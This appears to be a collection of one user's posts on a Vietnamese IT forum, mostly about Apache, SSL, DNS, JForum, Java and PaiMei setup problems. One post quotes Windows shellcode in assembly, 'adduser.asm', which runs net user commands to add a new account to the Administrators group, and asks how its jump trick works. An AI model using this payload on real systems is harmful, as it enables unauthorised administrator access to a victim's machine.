|
|
dreamcatcher wrote:
Dựng DNS nội bộ thì chỉ phân dải tên miền cho các máy trong mạng LAN thôi. => Các máy của mạng LAN vào website nhanh hơn và an toàn hơn (qua mạng LAN). Trường hợp không cấu hình DNS các máy từ trong LAN sẽ chui qua firewall ra ngoài rồi lại chui lại.
Website đặt tại doanh nghiệp có ưu điểm là dễ maintain, nhưng thường là chậm (do bandwidth hạn chế), đặc biệt khi số lượng người dùng tăng lên nhiều sẽ không đáp ứng nổi. Tốt hơn là nên thuê đặt ở datacenter của ISP.
Ở đây không bàn đến chuyện nhanh hay chậm vì thuê 4 đường cáp quang nên rất rất là nhanh.
Nếu mà chỉ để cho client trong LAN truy cập cho nhanh thôi thì mình nghĩ không nên làm DNS làm gì.
(Tốn tiền mua server và bảo trì cái dns này )
Mình nghĩ còn nguyên nhân khác nữa mà chưa biết.
|
|
|
Chào mọi người mình có 1 trường hợp như thế này, các bạn nhìn hình cho kỹ để cho dễ hiểu.
Trên đây là mô hình mạng công ty của mình.
--- Mạng lan của mình sử dụng địa chỉ 192.168.1.0/24
Web server địa chỉ 192.168.1.10/24.
--- Địa chỉ public mua ở ISP có địa chỉ 202.111.111.10(ở đây là giả định
Bây h trong mạng lan mình có làm 1 con web server chạy apache, và static nat qua FW luôn(như trên hình vẽ).
Mình có mua 1 domain tên là www.myweb.com (ví dụ mua ở mắt bão) và trong control của domain mình trỏ về ip Wan của mình tức là 202.111.111.10.
Và khi người dùng truy câp web công ty thì nó như thế này,
[PC] ---internet---->[FW(của mình)]----nat----->[máy web192.168.1.10]
Vậy cho mình hỏi trong tình huống này, nếu mình cấu hình DNS bên trong nữa nó có tác dụng như thế nào?
Mà nếu cấu hình lên thì chức năng làm gì?
|
|
|
Anh em nào có cuốn ModSecurity handbook không share cho mình với, tìm rồi mà không có, thanks
update: Mình mới dow rồi
|
|
|
Hi, cuối cùng mĩnh cũng chọn cuốn JAVA 1 hour a day. Đang học tới chương 7 thì tới khái niện Encapsulation, thật sự cái này khó hiểu quá, anh em nào cho 1 cái code demo chi tiếc không
|
|
|
Hi hi mình làm thành công rồi,
Còn thiếu bước này
Trong file httpd.conf thêm vào :d
Code:
<IfModule mod_ssl.c>
include conf.d/ssl.conf
</IfModule>
Thanks
|
|
|
Ủa vậy là còn thiếu bước nào nữa hay sao?
Trong log của ssl không có gì hết là 1 file trống
|
|
|
Code:
Sau đó restart lại httpd, nhưng khi mình khởi động lại thì ssl nó không chạy
https://mywed.com
Anh em có kinh nghiem debug thử coi lỗi ở đâu
Đây nè anh, khi em đánh http thì chạy, còn https thì không chạy
|
|
|
Chào mọi người tôi làm cấu hình SSl + apache(https) theo hướng dẫn trên trang chủ của CenOS
http://wiki.centos.org/HowTos/Https
Các bước làm như sau.
1. Getting the required software
Code:
yum install mod_ssl openssl
====> Okay.
2. Generate a self-signed certificate
# Generate private key
Code:
openssl genrsa -out ca.key 1024
# Generate CSR
Code:
openssl req -new -key ca.key -out ca.csr
# Generate Self Signed Key
Code:
openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt
# Move the files to the correct locations
Code:
mv ca.crt /etc/pki/tls/certs
mv ca.key /etc/pki/tls/private/ca.key
mv ca.csr /etc/pki/tls/private/ca.csr
====> Okay.
Chỉnh file SSL
Code:
/etc/httpd/conf.d/ssl.conf
Thêm vào 2 dòng sau.
Code:
SSLCertificateFile /etc/pki/tls/certs/ca.crt
SSLCertificateKeyFile /etc/pki/tls/private/ca.key
Sau đó restart lại httpd, nhưng khi mình khởi động lại thì ssl nó không chạy
https://mywed.com
Anh em có kinh nghiem debug thử coi lỗi ở đâu.
|
|
|
quanta wrote:
http://commons.apache.org/daemon/jsvc.html
A quân cho em hỏi. Em không làm bước này nhưng em vẫn cài jforum thành công và chạy đựoc rồi, cái bứoc này không cần làm cũng đựoc hay sao.
|
|
|
conmale wrote:
Tal wrote:
Admin.categories = Nhóm
Admin.configurations = Configurations
Admin.forumAdmin = Diễn đàn quản trị
Admin.forumIndex = Forum Index
Admin.forums = Diễn đàn
Admin.groups = Nhóm
Admin.rankings = Xếp hạng
Admin.smilies = Smilies
Admin.users = Người dùng
Admin.welcome = Chào mừng
Admin.welcome.currentVersion = Bạn đang chạy phiên bản
Admin.welcome.enabledInstallation = The <i><b>installation module</b></i> is still enabled. This may allow <b>any</b> user to overwrite your current board installation.
Admin.welcome.ipAddress = Địa chỉ IP
em dịch thử vài dòng đây ạ.
Nhìn qua là thấy không đúng rồi. Class I18n của Jforum có một static method dùng để load properties (method này có tên là load). Khi Forum khởi động, nó dùng một final static string có tên là I18N_DEFAULT, variable này trỏ đến i18n.board.default nằm trong SystemGlobals.properties. Nếu i18n.board.default có giá trị là vi_VN và trong locale.properties đã khai báo + vi_VN.properties đã hiện diện thì chắc chắn nó sẽ load file này lên.
Đối với nội dung trong vi_VN.properties, em không thể gõ tiếng Việt ở dạng
Code:
bởi vì class I18n dùng FileInputStream (trong bộ java.io. Class này được extend từ InputStream và dùng để đọc chuỗi raw byte, không có encode gì cả. Bởi thế, các dấu ó, ơ, ô..... (double byte unicode) đều không lấy và hiển thị đúng ở tầng hiển thị. Để khắc phục tình trạng này, các giá trị trong vi_VN.properties phải được chuẩn bị ở dạng unicode, ví dụ:
Code:
Admin.categories = Nh\u00f3m
(\u00f3 là ó).
Sau khi điều chỉnh, phải restart là Forum. Nếu forum đã load đúng properties thì em có thể chỉnh nội dung trong vi_VN.properties mà không cần phải restart lại Forum để hiển thị giá trị mới.
Thân mến.
Admin cho hỏi mình muốn tìm các font unicode này ở đâu, ý là cái bảng này nè \u00f3
|
|
|
Híc mình đã chỉnh cái dòng
Code:
default.container.encoding = ISO-8859-1
thành
default.container.encoding = UTF-8
mình chỉnh sửa như vậy rồi mà sao gõ tiếng việt không được vậy
Code:
kà kà th? là ta ?ã thành công r?i nhá không c?n c??ng b?n cãi
|
|
|
Okay cái java mình đã giải quyết được rồi.
nhưng tới bước này thì ..., trong thư mục của mình không có file jsvc.tar.gz
Code:
#cd /usr/local/tomcat/bin/
# tar -zxf jsvc.tar.gz
# cd jsvc-src/
# autoconf
# chmod +x configure
# ./configure
# make
# cp jsvc ..
# cd ..
mình dùng tomcat 6.0.29
|
|
|
Code:
[root@zjm ~]# java -version
java version "1.4.2"
gij (GNU libgcj) version 4.1.2 20070626 (Red Hat 4.1.2-14)
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
[root@zjm ~]#
Ý của mình là đây nè, khi mình chưa cài java thì trên hệ thống nó có sẵn nhưng khi rpm ra thì không có.
|
|
|
quanta wrote:
Bạn thử rpm -qa | grep jdk xem.
Cái này không ra cái gì hết. Em đang down cái link anh đưa...
|
|
|
Anh quanta cho em hỏi xí, em tìm cái gói jdk-6u4-linux-i586.bin mà không có, lên mạng tìm tùm lum gói hết.
em down 1 gói là jre-6u4-linux-i586.bin gì đó làm các bước tương tự như export, copy vào /usr/local
nhưng khi em show version thì không có gì
Em show thử rpm nhưng nó ra thế này.
Code:
[root@serverfram ~]# rpm -ql java
package java is not installed
Nhưng nó lại có câu lệnh java
Code:
[root@zjm ~]# java -version
java version "1.4.2"
gij (GNU libgcj) version 4.1.2 20070626 (Red Hat 4.1.2-14)
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
[root@zjm ~]#
Mong anh chỉ giáo
|
|
|
okay đã tìm hiểu đựoc nhuyên nhân thanks
|
|
|
Mình làm 1 chương trình xuất ra helloworld như thế này mà nó báo lỗi, mình không biết mình sai chỗ nào nữa
Code:
class HelloWorld
{
public static void main(String args[])
{
System.out.println("Hello World");
}
}
rùi mình chạy
javac.exe HelloWorld.java
nhưng nó báo lỗi như vầy
Code:
C:\Program Files\Java\jdk1.6.0_20\bin>javac.exe HelloWorld.java
HelloWorld.java:1: illegal character: \0
■c l a s s H e l l o W o r l d
^
HelloWorld.java:2: illegal character: \0
^
HelloWorld.java:3: illegal character: \0
{
^
HelloWorld.java:3: illegal character: \0
{
^
HelloWorld.java:4: illegal character: \0
|
|
|
Chào mọi người, sau 1 thời gian đắn đo mình đã quyết định học java, mình muốn biết kinh nghiệm của các đàn anh trong việc học java như thế nào?
Mình có 2 câu hỏi.
-- Cuốn sách đầu tiên để học java.
-- Nếu lập trình java thì nên chọn IDE nào là đầu tiên, chẳng hạn "nét ben", "e cờ lép", "j cờ lia"....
|
|
|
Có link mediafire không bạn, nếu có thì tốt quá
|
|
|
Nếu muốn dùng root thì
su
và tham khảo thêm sudo
|
|
|
Hi, mình có 1 đoạn shell như thế này.
Code:
+----------------- Start adduser.asm -----------------+
;adduser.asm
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand ;jump to the location of the command string
CommandReturn: ;Define a label to call so that string address is pushed onto stack
pop ebx ;ebx now points to the string
xor eax,eax ;empties out eax
push eax ;push null onto stack as empty parameter value
push ebx ;push the command string onto the stack
mov ebx,0x7c8615b5 ;place address of WinExec into ebx
call ebx ;call WinExec(path,showcode)
xor eax,eax ;zero the register again to clear WinExec return value (return values are often returned into eax)
push eax ;push null onto stack as empty parameter value
mov ebx, 0x7c81ca82 ;place address of ExitProcess into ebx
call ebx ;call ExitProcess(0);
GetCommand: ;Define label for location of command string
call CommandReturn ;call the return label so the return address (location of string) is pushed onto stack
db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser" ;Write the raw bytes into the shellcode that represent our string.
db 0x00 ;Terminate our string with a null character.
+----------------- End adduser.asm -----------------+
Nếu anh em nào biết rồi thì cũng hiểu đoạn asm này làm gì.
Cái mình không hiểu là tại sao đoạn code này lại nhảy(mình có hiểu là không xác định đựoc hard address nên mới nhảy), anh em nào biết giải thích tác dụng của cái nhảy này
|
|
|
gamma95 wrote:
xin bật mí là câu hỏi này của conmale là một trong những câu sẽ có trong đề thi sắp tới, các bác cảnh giác =]
Chấm 1 câu rồi, nhưng không biết các đáp áp gì đây, dù sao là trắc nghiệm nên cũng...
|
|
|
mrro wrote:
@zjm_zjm: dòng thông báo lỗi rõ ràng rồi mà. bạn tìm cách build lại pydasm ngay trên máy bạn là được.
-m
Thanks với chỉ điểm như thế này, do chưa tìm ra
giải quyết
python.exe setup.py build_ext -c mingw32
|
|
|
Cho biết thêm thông tin là:
Code:
>>>import pydasm
>>>import pydbg
Mình phải import tuần tự như vậy
Mình đang đọc cuốn này Python.Programming.for.Hackers.and.Reverse.Engineers
Khổ 1 cái là khi chạy các file trong này thì không được
PS python 2.5
|
|
|
Chào các bạn mình đã cài Paimei thành công trên window và chạy Paimei console thì okay rồi, nhưng khi mình vào python command line mình import pydbg thì không được.
Code:
>>> import pydbg
C:\Python25\lib\site-packages\pydbg\pydbg.py:32: RuntimeWarning: Python C API version mismatch for m
odule pydasm: This Python has API version 1013, module pydasm has version 1012.
import pydasm
>>>
>>>
>>>
Mình đã cài pydasm nhiều lần mà không được,
mình cài gói này
Code:
pydasm-1.2.win32-py2.5.exe
Mong các cao thủ chỉ giáo, mình biết trên forum này nhiều anh đã làm qua cái này rồi.
PS/ Cái này hơi hiếm nên khó làm quá
|
|
|
Câu hỏi này hình chư là chạy 2 server mysql thì phải
|
|
|
Chào mọi người mình đã cài php rôif nhưng không hiểu tại sao lại chạy không được?
thông tin php của mình đây.
Code:
[root@zjm~]# rpm -qa php
php-5.1.6-27.el5
và đây là cấu hình của file http.conf
Code:
ServerTokens OS
ServerRoot "/etc/httpd"
PidFile run/httpd.pid
Timeout 120
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 15
<IfModule prefork.c>
StartServers 8
MinSpareServers 5
MaxSpareServers 20
ServerLimit 256
MaxClients 256
MaxRequestsPerChild 4000
</IfModule>
<IfModule worker.c>
StartServers 2
MaxClients 150
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
Listen 192.168.1.41:80
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_alias_module modules/mod_authn_alias.so
LoadModule authn_anon_module modules/mod_authn_anon.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
LoadModule authn_default_module modules/mod_authn_default.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_owner_module modules/mod_authz_owner.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_dbm_module modules/mod_authz_dbm.so
LoadModule authz_default_module modules/mod_authz_default.so
LoadModule ldap_module modules/mod_ldap.so
LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
LoadModule ext_filter_module modules/mod_ext_filter.so
LoadModule mime_magic_module modules/mod_mime_magic.so
LoadModule expires_module modules/mod_expires.so
LoadModule deflate_module modules/mod_deflate.so
LoadModule headers_module modules/mod_headers.so
LoadModule usertrack_module modules/mod_usertrack.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule mime_module modules/mod_mime.so
LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule info_module modules/mod_info.so
LoadModule dav_fs_module modules/mod_dav_fs.so
LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
LoadModule actions_module modules/mod_actions.so
LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule cache_module modules/mod_cache.so
LoadModule suexec_module modules/mod_suexec.so
LoadModule disk_cache_module modules/mod_disk_cache.so
LoadModule file_cache_module modules/mod_file_cache.so
LoadModule mem_cache_module modules/mod_mem_cache.so
LoadModule cgi_module modules/mod_cgi.so
LoadModule version_module modules/mod_version.so
LoadModule php5_module modules/libphp5.so
LoadModule security2_module modules/mod_security2.so
LoadModule unique_id_module modules/mod_unique_id.so
<IfModule mod_security.c>
include conf.d/modsecurity.conf
</IfModule>
User apache
Group apache
ServerAdmin root@localhost
ServerName www.centos.com:80
UseCanonicalName Off
DocumentRoot "/var/www/html"
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory "var/www/html">
Options Indexes FollowSymLinks
Order deny,allow
Deny from all
Allow from 192.168.1.0/255.255.255.0
<Directory "/var/www/html">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
<IfModule mod_userdir.c>
#
# UserDir is disabled by default since it can confirm the presence
# of a username on the system (depending on home directory
# permissions).
#
UserDir disable root
UserDir enable user1 user2
#
# To enable requests to /~user/ to serve the user's public_html
# directory, remove the "UserDir disable" line above, and uncomment
# the following line instead:
#
UserDir public_html
</IfModule>
<Directory /home/*/public_html>
AllowOverride FileInfo AuthConfig Limit
Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
<Limit GET POST OPTIONS>
Order allow,deny
Options +ExecCGI
AddHandler cgi-script .cgi
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>
<Directory /home/*/public_html/cgi-bin>
Options ExecCGI
SetHandler cgi-script
</Directory>
DirectoryIndex index.php index.html index.html.var
AccessFileName .htaccess
<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>
TypesConfig /etc/mime.types
DefaultType text/plain
<IfModule mod_mime_magic.c>
MIMEMagicFile conf/magic
</IfModule>
HostnameLookups Off
ErrorLog logs/error_log
LogLevel warn
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
CustomLog logs/access_log combined
ServerSignature On
Alias /icons/ "/var/www/icons/"
<Directory "/var/www/icons">
Options Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
<IfModule mod_dav_fs.c>
# Location of the WebDAV lock database.
DAVLockDB /var/lib/dav/lockdb
</IfModule>
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
<Directory "/var/www/cgi-bin">
AllowOverride None
Options +ExecCGI
AddHandler cgi-script .cgi .pl
Options None
Order allow,deny
Allow from all
</Directory>
<Directory /home/*/public_html/cgi-bin/>
Options ExecCGI
SetHandler cgi-script
</Directory>
IndexOptions FancyIndexing VersionSort NameWidth=40 HTMLTable
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core
AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^
DefaultIcon /icons/unknown.gif
ReadmeName README.html
HeaderName HEADER.html
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
AddLanguage ca .ca
AddLanguage cs .cz .cs
AddLanguage da .dk
AddLanguage de .de
AddLanguage el .el
AddLanguage en .en
AddLanguage eo .eo
AddLanguage es .es
AddLanguage et .et
AddLanguage fr .fr
AddLanguage he .he
AddLanguage hr .hr
AddLanguage it .it
AddLanguage ja .ja
AddLanguage ko .ko
AddLanguage ltz .ltz
AddLanguage nl .nl
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pl .po
AddLanguage pt .pt
AddLanguage pt-BR .pt-br
AddLanguage ru .ru
AddLanguage sv .sv
AddLanguage zh-CN .zh-cn
AddLanguage zh-TW .zh-tw
LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW
ForceLanguagePriority Prefer Fallback
AddDefaultCharset UTF-8
AddType application/x-compress .Z
AddType application/x-gzip .gz .tgz
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
AddHandler type-map var
AddType text/html .shtml php
AddOutputFilter INCLUDES .shtml
Còn đây là file test nhưng khi chạy thì nó ra trắng bóc à
<?php
phpinfo();
?>
|
|
|
okay mình có sdt của bạn rồi thanks nha
|
|
|
Okay bạn cho biết mục lục sách gồm những gì không, Nếu cuối tháng 6 bạn vào thì nhớ cho mình số dt để liên lạc nha ok
|
|
|
Ebook hay là sách. Nếu vậy quá tuyệt rồi,
Bạn cho mình số DT đi hay mail gì cũng được
|
|